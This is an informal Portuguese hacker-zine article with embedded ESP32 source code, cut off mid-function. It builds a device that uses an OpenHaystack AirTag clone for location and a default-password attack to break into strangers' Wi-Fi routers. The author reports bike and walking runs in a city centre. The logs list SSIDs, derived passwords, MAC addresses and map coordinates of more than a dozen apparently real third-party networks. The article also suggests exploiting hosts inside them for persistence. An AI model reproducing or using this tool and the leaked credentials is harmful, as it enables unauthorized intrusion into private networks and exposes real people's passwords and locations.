01
 ░██▀█████    ░██▀████     ░▀███████     ░██▌  ░██     ░█▀████     ██   ░▀▀██████
  ░░░██       ░██░░░░█▌    ░██░░░░██     ░███ ░███    ░██░░░░██   ░██   ░██░░░░██
    ░██       ░██   ░█▌    ░██   ░██     ░██ ██░██    ░██   ░██   ░▓█   ░██   ░██
    ░██       ░██████▀     ░████████     ░██ 01░█▀    ░██   ░██   ░█▀   ░██████▀█
    ░█·       ░██   ▀█     ░▓█   ░██     ░▓█   ░██    ░▓█   ░██   ░█▓   ░▓█   ░██
    ░██       ░██   ░█     ░█▓   ░█▓     ░▒    ░█▓    ░░▓   ░▒▓   ░█▓   ░█▓   ░█▓
    ░▓▓       ░▓▓   ░▓▌    ░▓▓   ░▓▒     ░▓▒   ░▓▒    ░▒░   ░▓░   ░▒▒   ░▓▓   ░▓▒
    ░▒▓       ░▓    ░▓▌    ░▓▒   ░▓▓     ░░▒   ░░▓     ░▒████░    ░▓░   ░▓▒   ░░▓
    ░▓░       ░▒░   ░░▌    ░▒░                 ░▓▒                ░░▒   ░▒░   ░▓█
    ░▒▓       ░░▒          ░▒                  ░▒▓                ░▒░   ░▒·   ░▓▒
    ░▒·       ░▒           ░▒                  ░▓                 ░▒░   ░▒▓   ░░▓
    ░▒▒                                        ░▒░                  ░         ░▒·
    ░░░                                          ░                            ░░▒
    ·░░                                                                       ░░░
    ░░░  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒         ░░░
    ░░░  ▒▓░   ░░▒░  ··  ░▒   ·········  ░▒▓░········· ░▒░ ░▒·  ░░▓▒▒         ░░░
    ·░░  ░▒·    ░▒········░▒ ···☼·☼··☼··· ░▓· ···☼···☼··░▒░ ░▒▓   ░░▓         ·░░
    ░░░  ▒▒    ····☼·····················░▒░ ············░  ···  ░▒·          ░░░
    ░░░  ░░░  ···········☼·······☼··········░··········· ·· ···☼· ░░▒         ░░░
    ░░░  ░░░····☼···············☼············☼··xd37@riseup.net···░░░         ░░░
    ░░░   ·░····························☼··························░░         ░░░
    ░░░   ······                                  ······∙∙∙∙∙∙∙∙∙∙∙·∙         ░░░
    ░░░   ·····   Mapeando roteadores default    ·∙∙☼∙∙∙∙∙    ∙ ∙∙∙∙·         ░░░
    ·░░   ····    usando microcontroladores     ·∙∙ ∙    ∙       ∙∙··         ░░░
    ░░░   ····∙∙∙∙∙∙∙∙∙∙☼∙∙∙∙·∙∙☼∙···         ·☼∙∙     t         ∙··          ░░░
    ·░░   ·∙☼∙∙∙☼∙∙∙:::::::::∙∙∙∙·∙∙∙∙···     ·        r      ∙  ∙ ·          ░░░
    ░░░   ∙∙∙∙∙∙:::::       :::::::::∙∙∙∙∙·  ∙       trm 0x1    ∙☼:·          ·░░
    ░░░   ·∙∙::::                   :::::∙∙∙∙∙     ∙       ∙  ∙∙∙·:·          ░░░
    ░░░    ·:::                         ∙:::::∙∙∙∙··    ∙    ∙∙∙·:::·         ░░░
    ░░░      ··                               :::::∙∙∙∙∙☼∙∙∙∙∙∙ :::∙ ·        ·░░
    ░░░       ·                              ∙   ∙::::::···::::::    ·        ░░░
    ░░░        ·~~{ conteudos                                                 ░░░
    ░░░                                                                       ░░░
    ░░░      ~{ 0 - intro                                                     ░░░
    ░░░      ~{ 1 - entendendo o tracking da apple                            ·░░
    ░░░      ~{ 2 - replicando uma airtag                                     ░░░
    ·░░      ~{ 3 - juntando com DPWO                                         ░░░
    ░░░      ~{ 4 - warwalking                                                ░░░
    ·░░      ~{ 5 - conclusao                                                 ·░░
    ░░░                                                                       ░░░
    ░░░                                                                       ·░░
    ·░░  ~~{ 0 - intro                                                        ░░░
    ·░░                                                                       ░░░
    ░░░  esse projeto pareceu digno de ser uma tramoia e                      ░░░
    ░░░  foi feito para divertir e mostrar que muito pode ser feito           ░░░
    ░░░  com hardware barato comum e pequeno, isso foi somente                ·░░
    ░░░  juntando 2 projetos que achei interessante e nao tem                 ·░░
    ·░░  como intuito ser muito tecnico                                       ·░░
    ·░░  como quase sempre vc pode achar codigos assim                        ·░░
    ·░░  de graca na internet facilmente e tudo ja esta                       ·░░
    ░░░  mt bem documentado em ingles pelo menos                              ░░░
    ·░░  entao a ideia tbm eh trazer um monte de pesquisas                    ░░░
    ·░░  diferentes comprimidas pelo portugues informal,                      ░░░
    ░░░  e em cima do mesmo topico incentivar                                 ░░░
    ·░░  a galera BR a dar mais atencao a isso e fazer as                     ·░░
    ·░░  proprias pesquisas/codigo, pq achei                                  ░░░
    ░░░  pouco conteudo em ptbr falando sobre e q                             ░░░
    ·░░  ta facil fazer um rastreador mt barateza                             ·░░
    ░░░  com qualquer ESP ou STM, a precisao nao eh tanto igual               ░░░
    ░░░  a de um GPS porem faz seu trabalho na maioria dos casos              ·░░
    ░░░                                                                       ░░░
    ·░░  sempre quando vi sobre wardriving me deparei com                     ░░░
    ░░░  varias pessoas utilizando de modulos de GPS                          ░░░
    ░░░  para saber a localizacao, porem nao queria que                       ·░░
    ░░░  isso fosse necessario apenas para saber as cordenadas                ·░░
    ░░░  de um SSID pra upar no WiGLE ou algo do tipo =P                      ░░░
    ·░░  queria algo alem disso, explorar redes mesmo                         ░░░
    ·░░                                                                       ░░░
    ·░░  ai comecei a pensar no que podia fazer para nao                      ░░░
    ░░░  depender do GPS, e algumas semanas dps me deparei com                ░░░
    ░░░  um projeto chamado Openhaystack, que basicamente te                  ·░░
    ░░░  permite a replicar o sinal da sua chave da airtag (vc precisa de     ·░░
    ░░░  um apple ID para pegar a public key) e acompanhar                    ░░░
    ░░░  em tempo real! porem o codigo deles soh estava fazendo               ·░░
    ░░░  uma parte do que realmente queria fazer...                           ·░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  ~~{ 1 - entendendo o tracking da apple                               ░░░
    ·░░                                                                       ░░░
    ░░░  agora vamos ver sobre como eh possivel                               ░░░
    ░░░  abusar dos dispositivos da apple para localizar seu                  ░░░
    ░░░  microcontrolador como uma airtag                                     ░░░
    ·░░                                                                       ░░░
    ░░░  como essas comunicacoes sao sempre feitas por bluetooth,             ░░░
    ░░░  nada mais justo que olharmos melhor o pacote enviado                 ░░░
    ·░░                                                                       ·░░
    ░░░  este pacote que fica sendo propagado por bluetooth tem 36 bytes e    ░░░
    ░░░  essa estrutura:                                                      ·░░
    ░░░                                                                       ░░░
    ░░░  -================-                                                   ░░░
    ░░░  Bytes | Conteudo                                                     ░░░
    ·░░  ------------------                                                   ·░░
    ·░░  0-5   |endereco do bluetooth                                         ·░░
    ·░░  ------------------                                                   ░░░
    ░░░  6     |tamanho do payload em bytes                                   ·░░
    ░░░  7     |tipo da propagacao (advertisement)                            ░░░
    ░░░  8-9   |ID da compania                                                ░░░
    ░░░  10    |tipo de Offline Finding                                       ░░░
    ░░░  11    |tamanho do Offline Finding em bytes                           ░░░
    ░░░  12    |status (sim, 1byte para transmitir data como nivel de bateria)░░░
    ░░░  13-34 |Public Key bytes                                              ░░░
    ░░░  35    |Public key bits                                               ·░░
    ·░░  36    |hint                                                          ░░░
    ░░░  -================-                                                   ░░░
    ░░░                                                                       ░░░
    ·░░  o endereco do bluetooth fica implementado em outra parte do codigo   ░░░
    ·░░  ja que ele faz em todos disponiveis envolta.                         ·░░
    ·░░  na pratica, esse eh o array de bytes q sao enviados:                 ░░░
    ░░░                                                                       ░░░
    ░░░  static uint8_t adv_data[31] = {                                      ·░░
    ░░░      0x1e, /* Tamanho do payload em bytes (30) */                     ░░░
    ░░░      0xff, /* tipo da propagacao */                                   ░░░
    ░░░      0x4c, 0x00, /* ID da compania (Apple) */                         ·░░
    ░░░      0x12, 0x19, /* tamanho do Offline Finding em bytes */            ░░░
    ░░░      0x00, /* Status */                                               ·░░
    ░░░      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Public Key */ ·░░
    ░░░      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,                  ·░░
    ░░░      0x00, 0x00, 0x00, 0x00, 0x00, 0x00,                              ░░░
    ░░░                                                                       ░░░
    ░░░      0x00, /* First two bits */                                       ·░░
    ░░░      0x00, /* Hint (0x00) */                                          ·░░
    ░░░  };                                                                   ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  agora que ja entendemos os bytes que sao enviados por bluetooth,     ░░░
    ░░░  vamos entender melhor o fluxo do que esta acontecendo de fato        ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  ┌──────────┐                                                         ░░░
    ░░░  │servers da│       ┌──────┐                                          ░░░
    ░░░  │apple     ├───────►seu pc│                                          ·░░
    ░░░  └──▲───────┘   [3] └──────┘                                          ░░░
    ·░░     │ [2]                                                             ░░░
    ░░░  ┌──┼─────────┐                                                       ░░░
    ░░░  │dispositivos│     ┌──────────┐                                      ░░░
    ░░░  │aleatorios  ◄─────┼sua airtag│                                      ░░░
    ░░░  │da apple    │ [1] └──────────┘                                      ░░░
    ░░░  │por ai      │                                                       ░░░
    ░░░  └────────────┘                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  1 - os 31 bytes sao enviados para dispositivos envolta               ░░░
    ░░░  2 - os dispositivos aleatorios atualizam os servers da apple         ░░░
    ·░░  3 - basicamente vc pode interagir com os servers da apple agora de   ░░░
    ░░░   varios jeitos diferentes                                            ·░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  ~~{ 2 - replicando uma airtag                                        ░░░
    ░░░                                                                       ·░░
    ░░░  entao blz, primeiro passo foi portar o codigo em                     ░░░
    ░░░  github.com/seemoo-lab/...ESP32/main/openhaystack_main.c·              ░░
    ░░░  para fazer funcionar no ESP32-S3 soh tive que criar uma funcao de    ░░░
    ░░░  _loop e fazer com que ele nao fizesse advertising quando o bluetooth ░░░
    ░░░  esta em modo ESP_BT_MODE_BLE, foi soh chamar                         ░░░
    ·░░  esp_ble_gap_stop_advertising()                                       ░░░
    ░░░  denovo e o codigo funcionava! agora temos uma airtag com um          ·░░
    ░░░  hardware com um preco muito bom!                                     ░░░
    ░░░                                                                       ░░░
    ░░░  outro repo que vc vai precisar tbm eh o                              ░░░
    ░░░  https://github.com/MatthewKuKanich/FindMyFlipper                     ░░░
    ░░░  se vc for explorar o repositorio, vai perceber que                   ░░░
    ░░░  pode subir um docker com esse anisette-v3                            ░░░
    ░░░                                                                       ░░░
    ░░░  em AirTagGeneration o arquivo request_reports.py                     ░░░
    ·░░  vai ser responsavel por retornar os dados do openhaystack,           ░░░
    ░░░  unica modificacao que fiz nesse codigo foi                           ░░░
    ·░░                                                                       ·░░
    ░░░      tag['url'] = 'https://www.openstreetmap.org/#map=18/' + str(     ·░░
    ░░░          tag['lat']) + '/' + str(tag['lon'])                          ░░░
    ░░░                                                                       ░░░
    ░░░  para gerar o output sem link do googlemaps                           ·░░
    ░░░                                                                       ░░░
    ░░░  dentro de AirTagGeneration vc tbm pode gerar chaves com o            ░░░
    ░░░  generate_keys.py vc vai precisar copiar seu "Advertisement key:",    ·░░
    ·░░  decodificar o base64 e salvar em um arquivo                          ░░░
    ░░░                                                                       ░░░
    ░░░      echo "<base64-adv-key>"|base64 -d>/tmp/chave                     ·░░
    ░░░                                                                       ·░░
    ░░░                                                                       ░░░
    ·░░  agr faca um hexdump da sua chave e substitua no codigo fonte do .ino ░░░
    ░░░  na linha 37 para usar sua chave publica                              ░░░
    ░░░                                                                       ░░░
    ░░░      xxd -i /tmp/chave /tmp/codigo.h                                  ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  esse eh um exemplo de output do request_reports.py                   ░░░
    ·░░  quando tudo da certo e vc ja propagou do microcontrolador para algum ░░░
    ░░░  device, agora vc ta puxando do server da apple                       ·░░
    ░░░                                                                       ·░░
    ░░░  xd@pc ~/t/F/AirTagGeneration (main)> python3 request_reports.py -H 10░░░
    ░░░  pyprovision is not installed, querying http://localhost:6969         ░░
    ░░░  └►for an anisette server·                                            ░░
    ░░░  200: 5 reports received.                                             ░░░
    ░░░  60 reports used.                                                     ░░░
    ░░░  {'lat': -25.4321703, 'lon': -49.2669962, 'conf': 98, 'status': 0,    ░░░
    ░░░  └►'timestamp': 1725xxxxxx, 'isodatetime': '2024-0x-xxTxx:xx:xx',     ░░░
    ░░░  └►'key': 'xxx5eaefxxxb', 'url':                                      ░░░
    ░░░  └►'https://www.openstreetmap.org/#map=18/-25.4321703/-49.2669962'}   ░░░
    ░░░  {'lat': -25.4325314, 'lon': -49.2668648, 'conf': 76, 'status': 0,    ░░░ 
    ░░░  └►'timestamp': 1725xxxxxx, 'isodatetime': '2024-0x-xxTxx:xx:xx',     ░░░
    ░░░  └►'key': 'xxx5eaefxxxb', 'url':                                      ░░░
    ░░░  └►'https://www.openstreetmap.org/#map=18/-25.4325314/-49.2668648'}   ·░░
    ░░░  {'lat': -25.4371764, 'lon': -49.2657124, 'conf': 53, 'status': 0,    ·░░
    ░░░  └►'timestamp': 1725xxxxxx, 'isodatetime': '2024-0x-xxTxx:xx:xx',     ·░░
    ░░░  └►'key': 'xxx5eaefxxxb', 'url':                                      ·░░
    ░░░  └►'https://www.openstreetmap.org/#map=18/-25.4371764/-49.2657124'}   ░░░
    ░░░  {'lat': -25.4377824, 'lon': -49.2674244, 'conf': 103, 'status': 0,   ░░░ 
    ░░░  └►'timestamp': 1725xxxxxx, 'isodatetime': '2024-0x-xxTxx:xx:xx',     ░░░
    ░░░  └►'key': 'xxx5eaefxxxb', 'url':                                      ░░░
    ░░░  └►'https://www.openstreetmap.org/#map=18/-25.4377824/-49.2674244'}   ░░░
    ·░░  {'lat': -25.4380643, 'lon': -49.267303, 'conf': 46, 'status': 0,     ░░░
    ░░░  └►'timestamp': 1725xxxxxx, 'isodatetime': '2024-0x-xxTxx:xx:xx',     ░░░
    ░░░  └►'key': 'xxx5eaefxxxb', 'url':                                      ░░░
    ░░░  └►'https://www.openstreetmap.org/#map=18/-25.4380643/-49.267303'}    ░░░
    ·░░  found:   ['xxxxeaexxxxx']                                            ·░░
    ·░░  missing: []                                                          ░░░
    ░░░                                                                       ░░░
    ░░░  agora preciso fazer o DPWO em C, pq dai consigo rodar nesses         ░░░
    ·░░  microcontroladores sim, poderia fazer com micropython tb mas n qro =P░░░
    ·░░                                                                       ·░░
    ·░░  entao agr ja temos um rastreador funcionando, hora de fzr ele ownar  ░░░
    ·░░  algo                                                                 ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  ~~{ 3 - juntando com DPWO                                            ░░░
    ░░░                                                                       ░░░
    ·░░  somando isso ao DPWO (que eh genial pra pwnar wifi alheio)           ░░░
    ░░░  torna possivel fazer o tracking de todas as redes ownadas e as       ░░░
    ░░░  coordenadas ateh com um ESP32-C3 super mini! (tamanho: 22.52x18mm)   ░░░
    ·░░                                                                       ░░░
    ░░░  entao a ideia basicamente eh:                                        ░░░
    ░░░                                                                       ░░░
    ░░░  > DPWO acha rede vuln e o ESP32-S3 se conecta nela                   ░░░
    ·░░                                                                       ·░░
    ░░░  > (somente no primeiro host) fazer request para um server de NTP pra ░░░
    ░░░  pegar o timestamp atual e guardar junto do CSV para comparar depois  ░░░
    ░░░                                                                       ░░░
    ░░░  > mandar requisicoes por bluetooth pra interagir com os iphones      ░░░
    ░░░  proximos e atualizar a localizacao                                   ·░░
    ░░░                                                                       ░░░
    ░░░  > no final, faz a comparacao por timestamp e as localizacoes         ░░░
    ·░░  q pegamos da api da apple                                            ░░░
    ░░░                                                                       ░░░
    ·░░  essa parte foi bem direta, pois ainda com a mesma logica do dpwo     ░░░
    ░░░  deu p ownar varios routers desatualizados                            ░░░
    ░░░  acredito q o caioluders ja explicou muito bem em varios lugares o_o  ░░░
    ░░░                                                                       ·░░
    ░░░  entao se vc ta na caverna e nao sabe oq eh DPWO ainda, recomendo que ░░░
    ·░░  pare aqui e veja os posts tipo o link [4] na conclusao ateh entender ░░░
    ·░░  do que se trata                                                      ░░░
    ░░░                                                                       ░░░
    ░░░  agora se vc ja sabe oq eh, vc ta sabe q eh soh                       ░░░
    ░░░  pegar o MAC do roteador e SSID e parsear para                        ·░░
    ░░░  obter a senha, caso ele esteja no padrao                             ·░░
    ·░░  *agora os novos routers tem um padrao diferente, o router cria uma   ░░░
    ░░░  senha fzndo algum algoritmo e eh possivel dumpar o firmware para     ░░░
    ░░░  tentar entender como o novo padrao eh gerado                         ░░░
    ░░░                                                                       ░░░
    ·░░  lembrando que tbm no final, preciso guardar as informacoes coletadas ░░░
    ·░░  e vamos fazer isso usando LittleFS, um filesystem no proprio         ░░░
    ░░░  microcontrolador para nao depender de cartao SD tbm                  ░░░
    ░░░                                                                       ░░░
    ·░░  o codigo da tramoia esta no final deste arquivo entao vc mesmo pode  ░░░
    ·░░  ler a source e entender ou modificar oq esta acontecendo             ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  ~~{ 4 - warwalking                                                   ░░░
    ░░░                                                                       ░░░
    ░░░  agora vem a parte pratica! no caso a ideia era fzr um warbiking      ░░░
    ·░░  e com os resultados que receber, anotar os pontos com o              ░░░
    ·░░  SSID dos roteadores pwnados nas coordenadas recebidas e              ░░░
    ░░░  passar para o openstreetmap                                          ░░░
    ░░░                                                                       ░░░
    ░░░  coloquei o esp32 na bag (sem antena) ligado                          ░░░
    ░░░  a um powerbank e pedalei  pelo centro em um dia que nao tinha        ░░░
    ░░░  muitas pessoas, e os resultados nao foram mt bons...                 ·░░
    ░░░  circulei por volta de 30 minutos no centro e                         ░░░
    ░░░  esses sao os resultados da primeira pedalada                         ·░░
    ░░░  no arquivo './a.csv' do LittleFS:                                    ░░░
    ░░░                                                                       ░░░
    ░░░      SSID,SENHA,MAC,TIMESTAMP                                         ░░░
    ░░░      CLARO_2GAFB787,EFAFB787,743AEFAFB787,1725xxxxxx                  ░░░
    ·░░      CLARO_2G8DB5B3,388DB5B3,C85D388DB5B3,1725xxxxxx                  ░░░
    ░░░      CLARO_2G02A47B,E702A47B,9877E702A47B,1725xxxxxx                  ░░░
    ░░░      NET_2G095A79,E2095A79,E820E2095A79,1725xxxxxx                    ░░░
    ░░░                                                                       ░░░
    ░░░  pq sera soh 4 redes vuln?                                            ░░░
    ░░░  isso eh pq no codigo, assim que tentamos conectar em um              ░░░
    ░░░  wifi, precisamos fazer uma comparacao e ver o status do wifi         ░░░
    ·░░  para ver se estou conectado, o que foi usado um delay de 4 segundos  ░░░
    ░░░  que afetou os resultados pq enquanto estava pedalando                ░░░
    ░░░  e dentro dessa janela de tempo saisse do alcance do wifi             ░░░
    ░░░  tambem iria desconectar da rede + meu sinal era curto sem antena e   ░░░
    ░░░  dentro da bag. entao recomendo que altere esse delay dependendo do   ░░░
    ░░░  caso que vc for usar e nao pode ser mt curto tbm                     ░░░
    ░░░                                                                       ░░░
    ░░░  lembrando que tambem soh iria fzr o advertisement da chave           ░░░
    ░░░  apos ter pwnado uma rede e depende de dispositivos da apple prox     ░░░
    ░░░                                                                       ░░░
    ░░░  e como nao sou tao ciclista assim                                    ░░░
    ░░░                                                                       ░░░
    ░░░  depois realizei um teste andando mesmo pela XV (rua conhecida)       ·░░
    ░░░  em um dia muito movimentado no horario de almoco                     ░░░
    ░░░  e os resultados foram muito diferentes...                            ·░░
    ·░░                                                                       ░░░
    ░░░  andei por aprox 60 minutos e me conectei em 13 roteadores diferentes ░░░
    ░░░  esses foram os resultados apos filtrar o que ficou salvo no .csv e   ·░░
    ░░░  comparar com as timestamps do openhaystack                           ░░░
    ·░░                                                                       ░░░
    ░░░  SSID,SENHA,BSSID(MAC) CRU,TIMESTAMP,LINK OPENSTREETMAP               ░░░
    ░░░  CLARO_2GF45F0C,1FF45F0C,ECA81FF45F0C,17266xxxxx,openstreetmap.org/#ma░░░
    ·░░  p=18/-25.4325618/-49.2760825                                         ░░░
    ·░░  CLARO_2G8E841A,A38E841A,841EA38E841A,17267xxxxx,openstreetmap.org/#ma·░░
    ·░░  p=18/-25.431804/-49.2770474                                          ░░░
    ░░░  CLARO_2G499A82,E5499A82,B0BBE5499A82,17267xxxxx,openstreetmap.org/#ma░░░
    ░░░  p=18/-25.4325458/-49.2749072                                         ░░░
    ░░░  NET_2GEEE2B0,69EEE2B0,2C9569EEE2B0,17267xxxxx,openstreetmap.org/#map=░░░
    ░░░  18/-25.4323242/-49.2749558                                           ░░░
    ░░░  CLARO_2G986E2A,12986E2A,840112986E2A,17267xxxxx,openstreetmap.org/#ma░░░
    ·░░  p=18/-25.4321298/-49.2741386                                         ░░░
    ·░░  NET_2G2A4974,2F2A4974,D4B92F2A4974,17267xxxxx,openstreetmap.org/#map=░░░
    ░░░  18/-25.4320586/-49.2744143                                           ·░░
    ░░░  CLARO_2GE2DB11,B4E2DB11,8CC5B4E2DB11,17267xxxxx,openstreetmap.org/#ma░░░
    ░░░  p=18/-25.4317459/-49.2731804                                         ░░░
    ░░░  CLARO_2G5946C8,DA5946C8,8020DA5946C8,17267xxxxx,openstreetmap.org/#ma░░░
    ·░░  p=18/-25.4318492/-49.2734772                                         ·░░
    ░░░  NET_2G88F04F,5C88F04F,54A65C88F04F,17267xxxxx,openstreetmap.org/#map=░░░
    ░░░  18/-25.4318032/-49.2734319                                           ░░░
    ░░░  CLARO_2GC955B9,BBC955B9,A86ABBC955B9,17267xxxxx,openstreetmap.org/#ma░░░
    ░░░  p=18/-25.4315053/-49.2725334                                         ░░░
    ░░░  CLARO_2GAC0BC0,C3AC0BC0,90AAC3AC0BC0,17267xxxxx,openstreetmap.org/#ma·░░
    ░░░  p=18/-25.4313985/-49.2721424                                         ░░░
    ·░░  CLARO_2G93699C,1293699C,84011293699C,17267xxxxx,openstreetmap.org/#ma░░░
    ░░░  p=18/-25.4312772/-49.2716799                                         ░░░
    ·░░  CLARO_2GD14265,BBD14265,A86ABBD14265,17267xxxxx,openstreetmap.org/#ma░░░
    ·░░  p=18/-25.4311774/-49.2720125                                         ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ░░░
    ░░░  eh ok... esperava mais, porem ainda acredito que tem como fazer      ░░░
    ·░░  alguma corrida bem melhor que essa e ownar bem mais, e depende       ░░░
    ░░░  daonde vc vai tbm claro XD                                           ░░░
    ·░░                                                                       ·░░
    ░░░  no codigo vc pode fazer qlqr coisa dentro                            ░░░
    ░░░  da rede da pessoa depois de conectado, tentar verificar              ░░░
    ░░░  alguma versao e exploitar algo para pegar persistencia, enumerar     ░░░
    ░░░  hosts internos, etc as possibilidades dps de conectado sao infinitas ░░░
    ░░░                                                                       ░░░
    ░░░                                                                       ·░░
    ░░░  ~~{ 5 - conclusao                                                    ░░░
    ░░░                                                                       ░░░
    ░░░  agora mais empresas grandes estao comecando a usar essa              ░░░
    ░░░  tecnologia para criar a rede deles de localizacao                    ░░░
    ░░░  como o que esta sendo com a samsung e google, no caso da             ░░░
    ░░░  samsung ela ja produz as smart tags dela e ja eh compativel          ░░░
    ░░░  com quem usa o ambiente da samsung e a nova linha do                 ░░░
    ░░░  Pixel ja vai vir com compatibilidade para uma rede parecida          ·░░
    ░░░                                                                       ·░░
    ░░░  imagine se um mesmo dispositivo pequeno pudesse                      ░░░
    ·░░  interagir com cada um desses servicos independentemente,             ░░░
    ░░░  alem de ter um rastreador mt bom e barato usando a rede              ░░░
    ░░░  das evil techs pra localizar qlqr plaquinha enquanto exploita algo   ░░░
    ░░░                                                                       ░░░
    ·░░  espero q tenham curtido o texto, nos vemos pela net                  ░░░
    ·░░                                                                       ░░░
    ░░░  s4lv3 a todos q curtem uma tramoia.                                  ░░░
    ░░░                                                                       ░░░
    ░░░  refs:                                                                ·░░
    ·░░  - [1] https://petsymposium.org/popets/2021/popets-2021-0045.pdf      ░░░
    ░░░  - [2] https://github.com/MatthewKuKanich/FindMyFlipper               ·░░
    ·░░  - [3] https://github.com/seemoo-lab/openhaystack                     ░░░
    ·░░  - [4] https://lude.rs/h4ck1ng/NET_2GXXXX_default_password.html       ░░░
    ░░░  - [5] https://docs.espressif.com                                     ░░░
    ░░░                                                                       ░░░
    ·░░                                                                       ░░░
    ·░░                                                                       ░░░
    ··░                                                                       ░··

arquivos:
main.ino

#include <WiFi.h>
#include <regex>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdio.h>
#include <FS.h>
#include <LittleFS.h>
#include "nvs_flash.h"
#include "esp_bt.h"
#include "esp_gap_ble_api.h"
#include "esp_gattc_api.h"
#include "esp_gatt_defs.h"
#include "esp_bt_main.h"
#include "esp_bt_defs.h"
#include "freertos/FreeRTOS.h"
#include <NTPClient.h>
#include <Timezone.h>

int num_rede = 0;
bool is_timezone_set, achou_dpwo;

const char* ntpServer = "pool.ntp.org";
long  selectedTimezone;
const int   daylightOffset_sec = 0;
int hora;

TimeChangeRule BRST = {"BRST", Last, Sun, Oct, -3, hora};
Timezone myTZ(BRST, BRST);

WiFiUDP ntpUDP;
NTPClient timeClient(ntpUDP, ntpServer, selectedTimezone, daylightOffset_sec);

// definicoes do openhaystack

// mude aqui para sua chave publica
uint8_t public_key_decoded[28] = {
    0x13, 0x45, 0xea, 0xef, 0xc0, 0xbb, 0x9c, 0x20,
    0xe7, 0x94, 0x72, 0xb6, 0x09, 0x43, 0x75, 0xa3,
    0x98, 0x2a, 0xd3, 0x9f, 0xbc, 0xb9, 0x5f, 0x94,
    0xd1, 0xc6, 0xb6, 0xdd
};

/** Callback function for BT events */
static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);

/** Random device address */
static esp_bd_addr_t rnd_addr = { 0xFF, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };

/** Advertisement payload */
static uint8_t adv_data[31] = 
{
    0x1e, /* Tamnhado do payload em bytes (30) */
    0xff, /* Tipo da propagacao (type 0xff) */
    0x4c, 0x00, /* Id da compania (Apple) */
    0x12, 0x19, /* tamanho do Offline Finding em bytes */
    0x00, /* Status */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, /* First two bits */
    0x00, /* Hint (0x00) */
};

/* https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/bluetooth/esp_gap_ble.html#_CPPv420esp_ble_adv_params_t */
static esp_ble_adv_params_t ble_adv_params = 
{
    // Advertising min interval:
    // Minimum advertising interval for undirected and low duty cycle
    // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
    // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
    .adv_int_min        = 0x0640, // 1s
    // Advertising max interval:
    // Maximum advertising interval for undirected and low duty cycle
    // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
    // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
    .adv_int_max        = 0x0C80, // 2s
    // Advertisement type
    .adv_type           = ADV_TYPE_NONCONN_IND,
    // Use the random address
    .own_addr_type      = BLE_ADDR_TYPE_RANDOM,
    // All channels
    .channel_map        = ADV_CHNL_ALL,
    // Allow both scan and connection requests from anyone. 
    .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY,
};

static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
{
    esp_err_t err;

    switch (event) {
        case ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT:
            esp_ble_gap_start_advertising(&ble_adv_params);
            break;

        case ESP_GAP_BLE_ADV_START_COMPLETE_EVT:
            if ((err = param->adv_start_cmpl.status) != ESP_BT_STATUS_SUCCESS) {
            } else {
                Serial.print("advertising has started\n");

            }
            break;

        case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT:
            if ((err = param->adv_stop_cmpl.status) != ESP_BT_STATUS_SUCCESS){
                Serial.printf("adv stop failed: %s\n", esp_err_to_name(err));
            }
            else {
                Serial.println("stop adv successfully\n");

            }
            break;
        default:
            break;
    }
}

void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key_decoded)
{
    addr[0] = public_key_decoded[0] | 0b11000000;
    addr[1] = public_key_decoded[1];
    addr[2] = public_key_decoded[2];
    addr[3] = public_key_decoded[3];
    addr[4] = public_key_decoded[4];
    addr[5] = public_key_decoded[5];
}

void set_payload_from_key(uint8_t *payload, uint8_t *public_key_decoded)
{
    memcpy(&payload[7], &public_key_decoded[6], 22);
    payload[29] = public_key_decoded[0] >> 6;
}

void openhaystack_setup()
{
    Serial.printf("using device address: %02x %02x %02x %02x %02x %02x\n", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]);

    //esp_ble_gap_stop_advertising();

    esp_err_t status;
    //register the scan callback function to the gap module
    if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {
        //ESP_LOGE(LOG_TAG, "gap register error: %s", esp_err_to_name(status));
        Serial.printf("gap register error: %s\n", esp_err_to_name(status));
        return;
    }

    if ((status = esp_ble_gap_set_rand_addr(rnd_addr)) != ESP_OK) {
        //ESP_LOGE(LOG_TAG, "couldn't set random address: %s", esp_err_to_name(status));
        Serial.printf("couldn't set random address: %s\n", esp_err_to_name(status));
        return;
    }
    if ((esp_ble_gap_config_adv_data_raw((uint8_t*)&adv_data, sizeof(adv_data))) != ESP_OK) {
        //ESP_LOGE(LOG_TAG, "couldn't configure BLE adv: %s", esp_err_to_name(status));
        Serial.printf("couldn't configure BLE adv: %s\n", esp_err_to_name(status));
        return;
